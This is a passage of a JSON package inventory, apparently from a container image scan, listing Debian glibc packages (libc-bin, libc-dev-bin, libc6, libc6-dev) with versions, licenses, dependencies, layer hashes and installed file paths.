"InstalledFiles": [ "/usr/bin/getconf", "/usr/bin/getent", "/usr/bin/iconv", "/usr/bin/ldd", "/usr/bin/locale", "/usr/bin/localedef", "/usr/bin/pldd", "/usr/bin/tzselect", "/usr/bin/zdump", "/usr/lib/locale/C.utf8/LC_ADDRESS", "/usr/lib/locale/C.utf8/LC_COLLATE", "/usr/lib/locale/C.utf8/LC_CTYPE", "/usr/lib/locale/C.utf8/LC_IDENTIFICATION", "/usr/lib/locale/C.utf8/LC_MEASUREMENT", "/usr/lib/locale/C.utf8/LC_MESSAGES/SYS_LC_MESSAGES", "/usr/lib/locale/C.utf8/LC_MONETARY", "/usr/lib/locale/C.utf8/LC_NAME", "/usr/lib/locale/C.utf8/LC_NUMERIC", "/usr/lib/locale/C.utf8/LC_PAPER", "/usr/lib/locale/C.utf8/LC_TELEPHONE", "/usr/lib/locale/C.utf8/LC_TIME", "/usr/sbin/iconvconfig", "/usr/sbin/ldconfig", "/usr/sbin/zic", "/usr/share/doc/libc-bin/changelog.Debian.gz", "/usr/share/doc/libc-bin/changelog.gz", "/usr/share/doc/libc-bin/copyright", "/usr/share/libc-bin/nsswitch.conf", "/usr/share/lintian/overrides/libc-bin", "/usr/share/man/man1/getconf.1.gz", "/usr/share/man/man1/tzselect.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libc-dev-bin@2.41-12+deb13u3", "Name": "libc-dev-bin", "Identifier": { "PURL": "pkg:deb/debian/libc-dev-bin@2.41-12%2Bdeb13u3?arch=amd64\u0026distro=debian-13.6", "UID": "f85b7bf4fd84c16a" }, "Version": "2.41", "Release": "12+deb13u3", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u3", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/gencat", "/usr/share/doc/libc-dev-bin/changelog.Debian.gz", "/usr/share/doc/libc-dev-bin/changelog.gz", "/usr/share/doc/libc-dev-bin/copyright", "/usr/share/man/man1/gencat.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libc6@2.41-12+deb13u3", "Name": "libc6", "Identifier": { "PURL": "pkg:deb/debian/libc6@2.41-12%2Bdeb13u3?arch=amd64\u0026distro=debian-13.6", "UID": "2a1acf211abcdd46" }, "Version": "2.41", "Release": "12+deb13u3", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u3", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/gconv/ANSI_X3.110.so", "/usr/lib/x86_64-linux-gnu/gconv/ARMSCII-8.so", "/usr/lib/x86_64-linux-gnu/gconv/ASMO_449.so", "/usr/lib/x86_64-linux-gnu/gconv/BIG5.so", "/usr/lib/x86_64-linux-gnu/gconv/BIG5HKSCS.so", "/usr/lib/x86_64-linux-gnu/gconv/BRF.so", "/usr/lib/x86_64-linux-gnu/gconv/CP10007.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1125.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1250.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1251.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1252.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1253.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1254.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1255.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1256.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1257.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1258.so", "/usr/lib/x86_64-linux-gnu/gconv/CP737.so", "/usr/lib/x86_64-linux-gnu/gconv/CP770.so", "/usr/lib/x86_64-linux-gnu/gconv/CP771.so", "/usr/lib/x86_64-linux-gnu/gconv/CP772.so", "/usr/lib/x86_64-linux-gnu/gconv/CP773.so", "/usr/lib/x86_64-linux-gnu/gconv/CP774.so", "/usr/lib/x86_64-linux-gnu/gconv/CP775.so", "/usr/lib/x86_64-linux-gnu/gconv/CP932.so", "/usr/lib/x86_64-linux-gnu/gconv/CSN_369103.so", "/usr/lib/x86_64-linux-gnu/gconv/CWI.so", "/usr/lib/x86_64-linux-gnu/gconv/DEC-MCS.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-AT-DE-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-AT-DE.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-CA-FR.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-DK-NO-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-DK-NO.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES-S.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FI-SE-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FI-SE.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FR.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-IS-FRISS.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-IT.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-PT.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-UK.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-US.so", "/usr/lib/x86_64-linux-gnu/gconv/ECMA-CYRILLIC.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-CN.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JP-MS.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JP.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-KR.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-TW.so", "/usr/lib/x86_64-linux-gnu/gconv/GB18030.so", "/usr/lib/x86_64-linux-gnu/gconv/GBBIG5.so", "/usr/lib/x86_64-linux-gnu/gconv/GBGBK.so", "/usr/lib/x86_64-linux-gnu/gconv/GBK.so", "/usr/lib/x86_64-linux-gnu/gconv/GEORGIAN-ACADEMY.so", "/usr/lib/x86_64-linux-gnu/gconv/GEORGIAN-PS.so", "/usr/lib/x86_64-linux-gnu/gconv/GOST_19768-74.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK-CCITT.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK7-OLD.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK7.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-GREEK8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-ROMAN8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-ROMAN9.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-THAI8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-TURKISH8.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM037.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM038.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1004.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1008.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1008_420.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1025.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1026.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1046.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1047.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1097.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1112.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1122.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1123.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1124.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1129.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1130.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1132.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1133.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1137.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1140.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1141.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1142.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1143.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1144.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1145.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1146.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1147.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1148.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1149.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1153.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1154.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1155.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1156.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1157.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1158.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1160.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1161.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1162.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1163.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1164.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1166.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1167.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM12712.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1364.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1371.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1388.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1390.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1399.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM16804.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM256.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM273.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM274.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM275.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM277.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM278.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM280.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM281.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM284.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM285.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM290.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM297.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM420.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM423.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM424.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM437.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4517.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4899.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4909.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4971.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM500.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM5347.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM803.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM850.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM851.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM852.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM855.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM856.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM857.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM858.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM860.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM861.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM862.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM863.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM864.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM865.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM866.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM866NAV.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM868.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM869.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM870.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM871.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM874.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM875.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM880.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM891.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM901.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM902.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM903.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9030.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM904.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM905.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9066.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM918.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM921.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM922.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM930.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM932.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM933.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM935.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM937.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM939.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM943.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9448.so", "/usr/lib/x86_64-linux-gnu/gconv/IEC_P27-1.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS-8.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS-CYRILLIC.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS.so", "/usr/lib/x86_64-linux-gnu/gconv/ISIRI-3342.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-CN-EXT.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-CN.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-JP-3.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-JP.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-KR.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-IR-197.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-IR-209.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO646.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-1.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-10.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-11.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-13.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-14.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-15.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-16.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-2.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-3.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-4.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-5.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-6.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-7.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-8.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-9.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-9E.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_10367-BOX.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_11548-1.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_2033.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5427-EXT.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5427.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5428.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_6937-2.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_6937.so", "/usr/lib/x86_64-linux-gnu/gconv/JOHAB.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI-8.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-R.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-RU.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-T.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-U.so", "/usr/lib/x86_64-linux-gnu/gconv/LATIN-GREEK-1.so", "/usr/lib/x86_64-linux-gnu/gconv/LATIN-GREEK.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-CENTRALEUROPE.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-IS.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-SAMI.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-UK.so", "/usr/lib/x86_64-linux-gnu/gconv/MACINTOSH.so", "/usr/lib/x86_64-linux-gnu/gconv/MIK.so", "/usr/lib/x86_64-linux-gnu/gconv/NATS-DANO.so", "/usr/lib/x86_64-linux-gnu/gconv/NATS-SEFI.so", "/usr/lib/x86_64-linux-gnu/gconv/PT154.so", "/usr/lib/x86_64-linux-gnu/gconv/RK1048.so", "/usr/lib/x86_64-linux-gnu/gconv/SAMI-WS2.so", "/usr/lib/x86_64-linux-gnu/gconv/SHIFT_JISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/SJIS.so", "/usr/lib/x86_64-linux-gnu/gconv/T.61.so", "/usr/lib/x86_64-linux-gnu/gconv/TCVN5712-1.so", "/usr/lib/x86_64-linux-gnu/gconv/TIS-620.so", "/usr/lib/x86_64-linux-gnu/gconv/TSCII.so", "/usr/lib/x86_64-linux-gnu/gconv/UHC.so", "/usr/lib/x86_64-linux-gnu/gconv/UNICODE.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-16.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-32.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-7.so", "/usr/lib/x86_64-linux-gnu/gconv/VISCII.so", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.d/gconv-modules-extra.conf", "/usr/lib/x86_64-linux-gnu/gconv/libCNS.so", "/usr/lib/x86_64-linux-gnu/gconv/libGB.so", "/usr/lib/x86_64-linux-gnu/gconv/libISOIR165.so", "/usr/lib/x86_64-linux-gnu/gconv/libJIS.so", "/usr/lib/x86_64-linux-gnu/gconv/libJISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/libKSC.so", "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/usr/lib/x86_64-linux-gnu/libBrokenLocale.so.1", "/usr/lib/x86_64-linux-gnu/libanl.so.1", "/usr/lib/x86_64-linux-gnu/libc.so.6", "/usr/lib/x86_64-linux-gnu/libc_malloc_debug.so.0", "/usr/lib/x86_64-linux-gnu/libdl.so.2", "/usr/lib/x86_64-linux-gnu/libm.so.6", "/usr/lib/x86_64-linux-gnu/libmemusage.so", "/usr/lib/x86_64-linux-gnu/libmvec.so.1", "/usr/lib/x86_64-linux-gnu/libnsl.so.1", "/usr/lib/x86_64-linux-gnu/libnss_compat.so.2", "/usr/lib/x86_64-linux-gnu/libnss_dns.so.2", "/usr/lib/x86_64-linux-gnu/libnss_files.so.2", "/usr/lib/x86_64-linux-gnu/libnss_hesiod.so.2", "/usr/lib/x86_64-linux-gnu/libpcprofile.so", "/usr/lib/x86_64-linux-gnu/libpthread.so.0", "/usr/lib/x86_64-linux-gnu/libresolv.so.2", "/usr/lib/x86_64-linux-gnu/librt.so.1", "/usr/lib/x86_64-linux-gnu/libthread_db.so.1", "/usr/lib/x86_64-linux-gnu/libutil.so.1", "/usr/share/doc/libc6/NEWS.Debian.gz", "/usr/share/doc/libc6/NEWS.gz", "/usr/share/doc/libc6/README.Debian.gz", "/usr/share/doc/libc6/README.hesiod.gz", "/usr/share/doc/libc6/changelog.Debian.gz", "/usr/share/doc/libc6/changelog.gz", "/usr/share/doc/libc6/copyright", "/usr/share/lintian/overrides/libc6" ], "AnalyzedBy": "dpkg" }, { "ID": "libc6-dev@2.41-12+deb13u3", "Name": "libc6-dev", "Identifier": { "PURL": "pkg:deb/debian/libc6-dev@2.41-12%2Bdeb13u3?arch=amd64\u0026distro=debian-13.6", "UID": "93c46ad7447f377c" }, "Version": "2.41", "Release": "12+deb13u3", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u3", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc-dev-bin@2.41-12+deb13u3", "libc6@2.41-12+deb13u3", "libcrypt-dev@1:4.4.38-1", "linux-libc-dev@6.12.101-1", "rpcsvc-proto@1.4.3-1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/include/aio.h", "/usr/include/aliases.h", "/usr/include/alloca.h", "/usr/include/ar.h", "/usr/include/argp.h", "/usr/include/argz.h", "/usr/include/arpa/ftp.h", "/usr/include/arpa/inet.h", "/usr/include/arpa/nameser.h", "/usr/include/arpa/nameser_compat.h", "/usr/include/arpa/telnet.h", "/usr/include/arpa/tftp.h", "/usr/include/assert.h", "/usr/include/byteswap.h", "/usr/include/complex.h", "/usr/include/cpio.h", "/usr/include/ctype.h", "/usr/include/dirent.h", "/usr/include/dlfcn.h", "/usr/include/elf.h", "/usr/include/endian.h", "/usr/include/envz.h", "/usr/include/err.h", "/usr/include/errno.h", "/usr/include/error.h", "/usr/include/execinfo.h", "/usr/include/fcntl.h", "/usr/include/features-time64.h", "/usr/include/features.h", "/usr/include/fenv.h", "/usr/include/finclude/x86_64-linux-gnu/math-vector-fortran.h", "/usr/include/fmtmsg.h", "/usr/include/fnmatch.h", "/usr/include/fstab.h", "/usr/include/fts.h", "/usr/include/ftw.h", "/usr/include/gconv.h", "/usr/include/getopt.h", "/usr/include/glob.h", "/usr/include/gnu-versions.h", "/usr/include/grp.h", "/usr/include/gshadow.h", "/usr/include/iconv.h", "/usr/include/ifaddrs.h", "/usr/include/inttypes.h", "/usr/include/langinfo.h", "/usr/include/lastlog.h", "/usr/include/libgen.h", "/usr/include/libintl.h", "/usr/include/limits.h", "/usr/include/link.h", "/usr/include/locale.h", "/usr/include/malloc.h", "/usr/include/math.h", "/usr/include/mcheck.h", "/usr/include/memory.h", "/usr/include/mntent.h", "/usr/include/monetary.h", "/usr/include/mqueue.h", "/usr/include/net/ethernet.h", "/usr/include/net/if.h", "/usr/include/net/if_arp.h", "/usr/include/net/if_packet.h", "/usr/include/net/if_ppp.h", "/usr/include/net/if_shaper.h", "/usr/include/net/if_slip.h", "/usr/include/net/ppp-comp.h", "/usr/include/net/ppp_defs.h", "/usr/include/net/route.h", "/usr/include/netash/ash.h", "/usr/include/netatalk/at.h", "/usr/include/netax25/ax25.h", "/usr/include/netdb.h", "/usr/include/neteconet/ec.h", "/usr/include/netinet/ether.h", "/usr/include/netinet/icmp6.h", "/usr/include/netinet/if_ether.h", "/usr/include/netinet/if_fddi.h", "/usr/include/netinet/if_tr.h", "/usr/include/netinet/igmp.h", "/usr/include/netinet/in.h", "/usr/include/netinet/in_systm.h", "/usr/include/netinet/ip.h", "/usr/include/netinet/ip6.h", "/usr/include/netinet/ip_icmp.h", "/usr/include/netinet/tcp.h", "/usr/include/netinet/udp.h", "/usr/include/netipx/ipx.h", "/usr/include/netiucv/iucv.h", "/usr/include/netpacket/packet.h", "/usr/include/netrom/netrom.h", "/usr/include/netrose/rose.h", "/usr/include/nfs/nfs.h", "/usr/include/nl_types.h", "/usr/include/nss.h", "/usr/include/obstack.h", "/usr/include/paths.h", "/usr/include/poll.h", "/usr/include/printf.h", "/usr/include/proc_service.h", "/usr/include/protocols/routed.h", "/usr/include/protocols/rwhod.h", "/usr/include/protocols/talkd.h", "/usr/include/protocols/timed.h", "/usr/include/pthread.h", "/usr/include/pty.h", "/usr/include/pwd.h", "/usr/include/re_comp.h", "/usr/include/regex.h", "/usr/include/regexp.h", "/usr/include/resolv.h", "/usr/include/rpc/netdb.h", "/usr/include/sched.h", "/usr/include/scsi/scsi.h", "/usr/include/scsi/scsi_ioctl.h", "/usr/include/scsi/sg.h", "/usr/include/search.h", "/usr/include/semaphore.h", "/usr/include/setjmp.h", "/usr/include/sgtty.h", "/usr/include/shadow.h", "/usr/include/signal.h", "/usr/include/spawn.h", "/usr/include/stab.h", "/usr/include/stdbit.h", "/usr/include/stdc-predef.h", "/usr/include/stdint.h", "/usr/include/stdio.h", "/usr/include/stdio_ext.h", "/usr/include/stdlib.h", "/usr/include/string.h", "/usr/include/strings.h", "/usr/include/syscall.h", "/usr/include/sysexits.h", "/usr/include/syslog.h", "/usr/include/tar.h", "/usr/include/termio.h", "/usr/include/termios.h", "/usr/include/tgmath.h", "/usr/include/thread_db.h", "/usr/include/threads.h", "/usr/include/time.h", "/usr/include/ttyent.h", "/usr/include/uchar.h", "/usr/include/ucontext.h", "/usr/include/ulimit.h", "/usr/include/unistd.h", "/usr/include/utime.h", "/usr/include/utmp.h", "/usr/include/utmpx.h", "/usr/include/values.h", "/usr/include/wait.h", "/usr/include/wchar.h", "/usr/include/wctype.h", "/usr/include/wordexp.h", "/usr/include/x86_64-linux-gnu/a.out.h", "/usr/include/x86_64-linux-gnu/bits/a.out.h", "/usr/include/x86_64-linux-gnu/bits/argp-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/atomic_wide_counter.h", "/usr/include/x86_64-linux-gnu/bits/byteswap.h", "/usr/include/x86_64-linux-gnu/bits/cmathcalls.h", "/usr/include/x86_64-linux-gnu/bits/confname.h", "/usr/include/x86_64-linux-gnu/bits/cpu-set.h", "/usr/include/x86_64-linux-gnu/bits/dirent.h", "/usr/include/x86_64-linux-gnu/bits/dirent_ext.h", "/usr/include/x86_64-linux-gnu/bits/dl_find_object.h", "/usr/include/x86_64-linux-gnu/bits/dlfcn.h", "/usr/include/x86_64-linux-gnu/bits/elfclass.h", "/usr/include/x86_64-linux-gnu/bits/endian.h", "/usr/include/x86_64-linux-gnu/bits/endianness.h", "/usr/include/x86_64-linux-gnu/bits/environments.h", "/usr/include/x86_64-linux-gnu/bits/epoll.h", "/usr/include/x86_64-linux-gnu/bits/err-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/errno.h", 